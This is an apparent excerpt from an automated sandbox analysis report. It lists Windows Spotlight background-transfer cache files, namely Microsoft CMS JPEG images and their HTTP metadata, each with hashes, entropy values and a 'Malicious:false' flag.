                    Entropy (8bit):3.6228602661099942
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiw5CuXpjgWzgxjX+vUViw5nrBB41+lPDipsafxOc2CpX3Jb3EbWD:LLD2mRi+1XpjPgVX+v8i+dBiqPD6rfeE
                    MD5:1BB4DE4104A3BF9510EFFCEF3C1FD6BC
                    SHA1:66621CDE06BC069269F38AFBBE96CFE15326A954
                    SHA-256:6836CE521155B0E10969CE4E9DDB95452545F536181137F85870BE03EC62B43E
                    SHA-512:102F7CFFF339ECCE7CCB4FE55837CD3ED0163E99238393F4ABBEF515ED3ECFEE6189F84AD94C4E2A16277F6B467BF94004DD418931365BB216E702DAB1BBB748
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .M.o.n.,. .1.8. .J.u.l. .2.0.2.2. .0.3.:.1.6.:.1.8. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.b.3.0.3.f.5.5.-.c.4.4.f.-.4.4.5.a.-.8.0.b.2.-.3.9.0.2.9.1.7.3.7.1.c.3...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\0e179b48-6f53-4931-a0ef-b10a1a9c39ee.down_data

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2022:03:02 13:22:10]
                    Category:dropped
                    Size (bytes):1708865
                    Entropy (8bit):6.97847786200903
                    Encrypted:false
                    SSDEEP:24576:HdC81bzUVyezQkoZvNEyfcO/irM/R0JGSUxf8QQYVzaIPhwkXtpxODfAL9OeQZzE:HdC81bzIzMbXVzag5OjCOeQJkd
                    MD5:BEA60D73FB1ECED3027734526438F17C
                    SHA1:94EF9697C95742084DB52EDC303FD4DA31286FE3
                    SHA-256:0F41D7DBC9F23B935077A920C03146802FFA26B1342E5A262E62750DDCDDAE21
                    SHA-512:29BC20AA7B8C40E1E4B2738F2C9FAA23A1A0D37A34FF44866F81551FE9B374A6EE4EDED8D4292CF2DE3D928D7B008701922AE7A7DD48E9CDBC63A08D4F3CC6C7
                    Malicious:false
                    Reputation:unknown
                    Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2022:03:02 13:22:10.........................................8..............................."...........*.(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..M<.....5 hL..}%....{(.........d8..{+...9....$..r,.6t.J=?......g.....+.3.p..88.4...[.o.......qzu..k_..yf.hh...~....F..M.@7..x....+......?r..]o..6.E

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1ca458c5-1b4c-472b-b598-a5bf4dd6bf04.c67d97a2-792d-42a0-98a0-1f817cd3376c.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.5998727850212524
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiw8WXpjgWzgxjX+vUViw8nx2BKs461+EpL7tsafxOc2CpX3Ks4zbaibWD:LLD2mRiEXpjPgVX+v8iZMBKzQhftrfeY
                    MD5:4301AED1247D792ADA32E84F46810D57
                    SHA1:1D9AAF0F1A666E2A189B4D649F11766D9F60F9E1
                    SHA-256:F000576208B838815F23552F9D5E566260E7297534803CD46CC0040E433F8C04
                    SHA-512:C80262DFFDDB1999BB4E51E417B93962774371425BD84D1848BB455A86D0F09F4A458811DE61C06B18BCEBA133E2802C0035D60BCB620EC9723E88A126B2163E
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.t.u.S.?.v.e.r.=.3.a.9.f...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.t.u.S.?.v.e.r.=.3.a.9.f...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.a.t.,. .0.9. .J.u.l. .2.0.2.2. .2.0.:.5.7.:.5.4. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.5.4.0.5.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.f.0.9.b.9.b.2.-.b.a.e.5.-.4.c.b.b.-.a.f.5.4.-.7.5.9.9.c.9.1.c.b.e.3.1...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.5.4.0.5.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1ca458c5-1b4c-472b-b598-a5bf4dd6bf04.up_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):278
                    Entropy (8bit):3.4083866970485026
                    Encrypted:false
                    SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRlAuo3:ZxMghwLtHSM1Sb9mSMXAvwRWu
                    MD5:5875C3144ED2E516FEADB35AADF8A743
                    SHA1:4B47825F01FDA97BB349126574B2E4541E315B4F
                    SHA-256:E56CBAA5BCACA2F19549D2EE039FBD16D21432E2F9857ADEC91537AA457C1D0E
                    SHA-512:87045D7675124B2E13554FC7BB865A6711DC4EA380E8789A909323C03EB425CE1A95854528B326F929AB1E91E6D343935EDA0B317CC31DF683F252E3D5BEB312
                    Malicious:false
                    Reputation:unknown
                    Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.t.u.S.?.v.e.r.=.3.a.9.f...........

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2db01ff5-3e23-43fb-b655-265e3a1ebaca.18a01a38-3d1a-4790-bf47-11fb9b25a38e.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1224
                    Entropy (8bit):3.5951629860210454
                    Encrypted:false
                    SSDEEP:24:LLVR2mRid67XpjgWzgxjX+vUVid6WQDFBIQO1+gs2DsafxOc2CpX3ImbEI4bWD:LLD2mRiM7XpjPgVX+v8iMbFBIDBsirfX
                    MD5:BA9D8E8657C44A7E15D195D6868CAF79
                    SHA1:4F4382EC47F55D850A13519ABD76FEB4696B0C15
                    SHA-256:7064D484EEACADFA9E182AA63A3BFAA3F25981EE98D097538ECFD3627763E83D
                    SHA-512:BEA6952819CE040D281395FB11EDC68B8DB1450CD7188C5C3EA8DE9D42376459F7B839588BB539C950B7B6007F749BC6996ABE449983CA48C77DBD1284330BB6
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.C.c.a.?.v.e.r.=.1.e.6.c...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.C.c.a.?.v.e.r.=.1.e.6.c...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .F.r.i.,. .0.8. .J.u.l. .2.0.2.2. .1.5.:.1.5.:.2.5. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .6.2.5.1.0.9...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .8.1.b.7.5.2.7.5.-.6.e.7.7.-.4.b.7.f.-.b.a.f.3.-.5.f.3.a.7.e.0.6.4.f.7.e...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .6.2.5.1.0.9...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.l.i.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2db01ff5-3e23-43fb-b655-265e3a1ebaca.up_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):276
                    Entropy (8bit):3.384936212101481
                    Encrypted:false
                    SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQiRGlMWb:ZxMghwLtHSM1Sb9mSMXAvd6q
                    MD5:346153F8ABF84FD866E0120A8820BC7A
                    SHA1:E6253D148858A56E7F5F4BB6138F283466E6179F
                    SHA-256:79E5397A84155982BEEF7FBDCDAF39E392AA1C6C5EBF22258F0CB65CBEBF8D1A
                    SHA-512:53467A4BDD3F8760D457633064729EB89DE54443A987D573EBED0D085115BF0D1526F3DE555C83E4D60ADC35E248E5949E265196F674BF809FAA63D01D7CE327
                    Malicious:false
                    Reputation:unknown
                    Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.C.c.a.?.v.e.r.=.1.e.6.c...........

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2f28ebec-0233-4b26-8430-72f65914a7dc.18a01a38-3d1a-4790-bf47-11fb9b25a38e.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1224
                    Entropy (8bit):3.5951629860210454
                    Encrypted:false
                    SSDEEP:24:LLVR2mRid67XpjgWzgxjX+vUVid6WQDFBIQO1+gs2DsafxOc2CpX3ImbEI4bWD:LLD2mRiM7XpjPgVX+v8iMbFBIDBsirfX
                    MD5:BA9D8E8657C44A7E15D195D6868CAF79
                    SHA1:4F4382EC47F55D850A13519ABD76FEB4696B0C15
                    SHA-256:7064D484EEACADFA9E182AA63A3BFAA3F25981EE98D097538ECFD3627763E83D
                    SHA-512:BEA6952819CE040D281395FB11EDC68B8DB1450CD7188C5C3EA8DE9D42376459F7B839588BB539C950B7B6007F749BC6996ABE449983CA48C77DBD1284330BB6
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.C.c.a.?.v.e.r.=.1.e.6.c...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.C.c.a.?.v.e.r.=.1.e.6.c...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .F.r.i.,. .0.8. .J.u.l. .2.0.2.2. .1.5.:.1.5.:.2.5. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .6.2.5.1.0.9...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .8.1.b.7.5.2.7.5.-.6.e.7.7.-.4.b.7.f.-.b.a.f.3.-.5.f.3.a.7.e.0.6.4.f.7.e...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .6.2.5.1.0.9...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.l.i.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2f28ebec-0233-4b26-8430-72f65914a7dc.down_data

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1080x1920, frames 3
                    Category:dropped
                    Size (bytes):625109
                    Entropy (8bit):7.858804980199651
                    Encrypted:false
                    SSDEEP:12288:Go5jMk1hwYuCFtkqfkHYlYACnqvoy1jhYeGldguzPJbqSfR8aK01N:VnwoDoqwyDYzP7FbZ5P
                    MD5:D8CFD989F996932674BC2D3E07FAD708
                    SHA1:12C4C938E04260240A898F9F06A4D51FFD1C8E32
                    SHA-256:138F41E3E0CEF62705E20895B7536C148F3FE9B46094837E8CDF6B72C882A053
                    SHA-512:AD3286FE7AB1CCDCCC06A2D43A42C17E341BCF36FD50120E239CDC65E79D9520442491C466F3B5E56A02E777E0EEDBCD4D992BC4F32E0B59C9A9E6F790A4A0B0
                    Malicious:false
                    Reputation:unknown
                    Preview:......JFIF.....`.`.....C....................................................................C.........................................................................8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...#H..;|.7...#............eC..[o.~.qJTH...]......8.X....@...u...i.=..;.....~j.~_.....u}.".o../.m..}j.'.@..;Y...~^(..Y...H.R5?6..u...I.M.n.s.......;.......o..U*.~s*.6.....1.....o.......9.W..7|.u.n.R=.......sRF.Z.........r<.C7.>...h.1.H..{s}.__..Er.7P..o..=>o.n)8U..yq.smm....H.I..........+.s...e.\....m.W?u~.}=)]J.m..[....w)u_.....L.\+n.E..k5D(.1.kdnT....

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\4791b7ec-7140-4011-8ace-3e3364e4952e.b6ea6c93-a72d-4206-8738-fb42f29ff6c6.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.620712733119152
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiwLXpjgWzgxjX+vUViwOMBKA1+pBsafxOc2CpX3KxbbJp9bWD:LLD2mRiiXpjPgVX+v8iEBKKWrfeIX3KK
                    MD5:A4BFF0C24D821A1459DFC4213D9968EE
                    SHA1:F92BCCFC85D9843135BF883ABB43C4C85C8BC69C
                    SHA-256:92D077A2CE7A08C9E417B81D3B486DC00A65994F35781D78E2FEA94367B120B8
                    SHA-512:CEBA40C29CA1A6B7C4607836078F16902EA5A949063D7A2E235D569FFFD326D385DF634CC6E68437ECCBBA003619DD1BE4D3952526011DB62B3E2AE3C341AA31
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.l.G.Y.?.v.e.r.=.9.9.8.7...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.l.G.Y.?.v.e.r.=.9.9.8.7...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .T.h.u.,. .3.0. .J.u.n. .2.0.2.2. .0.1.:.5.9.:.5.2. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.0.3.7.6.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .4.6.5.8.8.a.b.c.-.9.4.c.a.-.4.d.c.d.-.a.4.1.b.-.b.d.7.5.8.4.6.d.a.c.6.8...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.0.3.7.6.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\4791b7ec-7140-4011-8ace-3e3364e4952e.up_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):278
                    Entropy (8bit):3.410800490081082
                    Encrypted:false
                    SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRUPdG/:ZxMghwLtHSM1Sb9mSMXAvwRUVG
                    MD5:2B2DAE1712D5C65592123D8D68F279B3
                    SHA1:BA86665F41E6B9046965C0BA58E1548E8658655D
                    SHA-256:B6506CEB2E456108B9065A048032096D62F94267E291528CE23CCB256F3F04CD
                    SHA-512:42AD3F2D4B08F4332B0D4D138C7EC7D2B9EA2212D173DC66E38B91F76088EA0CE06C1D56DEDA6016BDBF51DA29823ED9736EE58E4EDBFA52540BE548DA57C75C
                    Malicious:false
                    Reputation:unknown
                    Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.R.l.G.Y.?.v.e.r.=.9.9.8.7...........

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\50783a7c-6649-4009-9d3c-e12c43f322b2.3e206d7f-659a-4614-9e6d-3412837cda7c.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1224
                    Entropy (8bit):3.5989829684057097
                    Encrypted:false
                    SSDEEP:24:LLVR2mRi9XpjgWzgxjX+vUVifUYBc1+fh21safxOc2CpX3VbZIAbW1N:LLD2mRi9XpjPgVX+v8ibBmo21rfeIX3c
                    MD5:22AE3CFAAF4D5A91541386101A845816
                    SHA1:5E9C81DC73F2F4A79314F52018B8F2B54D6A670B
                    SHA-256:717D79A45AA845B78E36BE783B2A3B152949055E0F0DEB8CCAD258684EAD62D5
                    SHA-512:82E5C7D799000BF77DD43D46E79F42F3AE43E1D22796F39400F342912FFB07ED9B6EE27A52D0B31E4EFF915C6A962348B00AB28C6C90EE2B4EB18469226E6180
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.M.w.R.?.v.e.r.=.6.d.e.0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.M.w.R.?.v.e.r.=.6.d.e.0...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .M.o.n.,. .0.4. .J.u.l. .2.0.2.2. .0.3.:.1.6.:.2.8. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .6.9.5.2.6.7...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .e.7.7.f.c.9.e.5.-.f.a.2.7.-.4.5.b.a.-.a.1.e.d.-.4.7.2.6.9.9.5.7.9.b.6.4...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .6.9.5.2.6.7...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.l.i.

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\50783a7c-6649-4009-9d3c-e12c43f322b2.up_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):276
                    Entropy (8bit):3.418212831829867
                    Encrypted:false
                    SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQifDAoP:ZxMghwLtHSM1Sb9mSMXAvAD
                    MD5:FB4CCD39671FF04EBC414308632AC46D
                    SHA1:F11834E5A577501C0D144052C7F70099EC645C33
                    SHA-256:29C4C0D2FCA711C70A160FB7B454471E4601BDEA27993D5E2909BA13E6F4CC57
                    SHA-512:57EA673CE11F80F428CE481F25717A57808B1C8F01B4AB3AE157A523F7AC84AFF1050A300396CF4802341729D6FA280B1E80562D89682668DB005CB003C9D988
                    Malicious:false
                    Reputation:unknown
                    Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.w.M.w.R.?.v.e.r.=.6.d.e.0...........

                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6799fc84-4456-44ec-8644-71675d202561.c5f1a3d3-ba2e-4507-ae31-303ad4c8dbbf.down_meta

                    Download File
                    Process:C:\Windows\System32\BackgroundTransferHost.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):1232
                    Entropy (8bit):3.6167517396962174
                    Encrypted:false
                    SSDEEP:24:LLVR2mRiwmXpjgWzgxjX+vUViwH72tBKf1+BnXsafxOc2CpX3K0bbdozMbWD:LLD2mRi3XpjPgVX+v8iG72tBKN4Xrfev
                    MD5:FE37F8707AD6815CC7C544963B385B58
                    SHA1:67D5BAD7AA8B12D18222DFA8281408AF7704ADA7
                    SHA-256:DD131F0F31AFF134797E125AAE96FD4388E1910DB29977E9AAA305629EC6DC27
                    SHA-512:860F2579D383DBC15984DF5B76D27FDDD0BA254678E0AD55FCC406EB331E32A849C6BEF140C525FF9D7CEBFF80B59EF4046B186EB91DE9B672A6E474F77E388F
                    Malicious:false
                    Reputation:unknown
                    Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .0.3. .J.u.l. .2.0.2.2. .0.5.:.0.2.:.3.7. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. 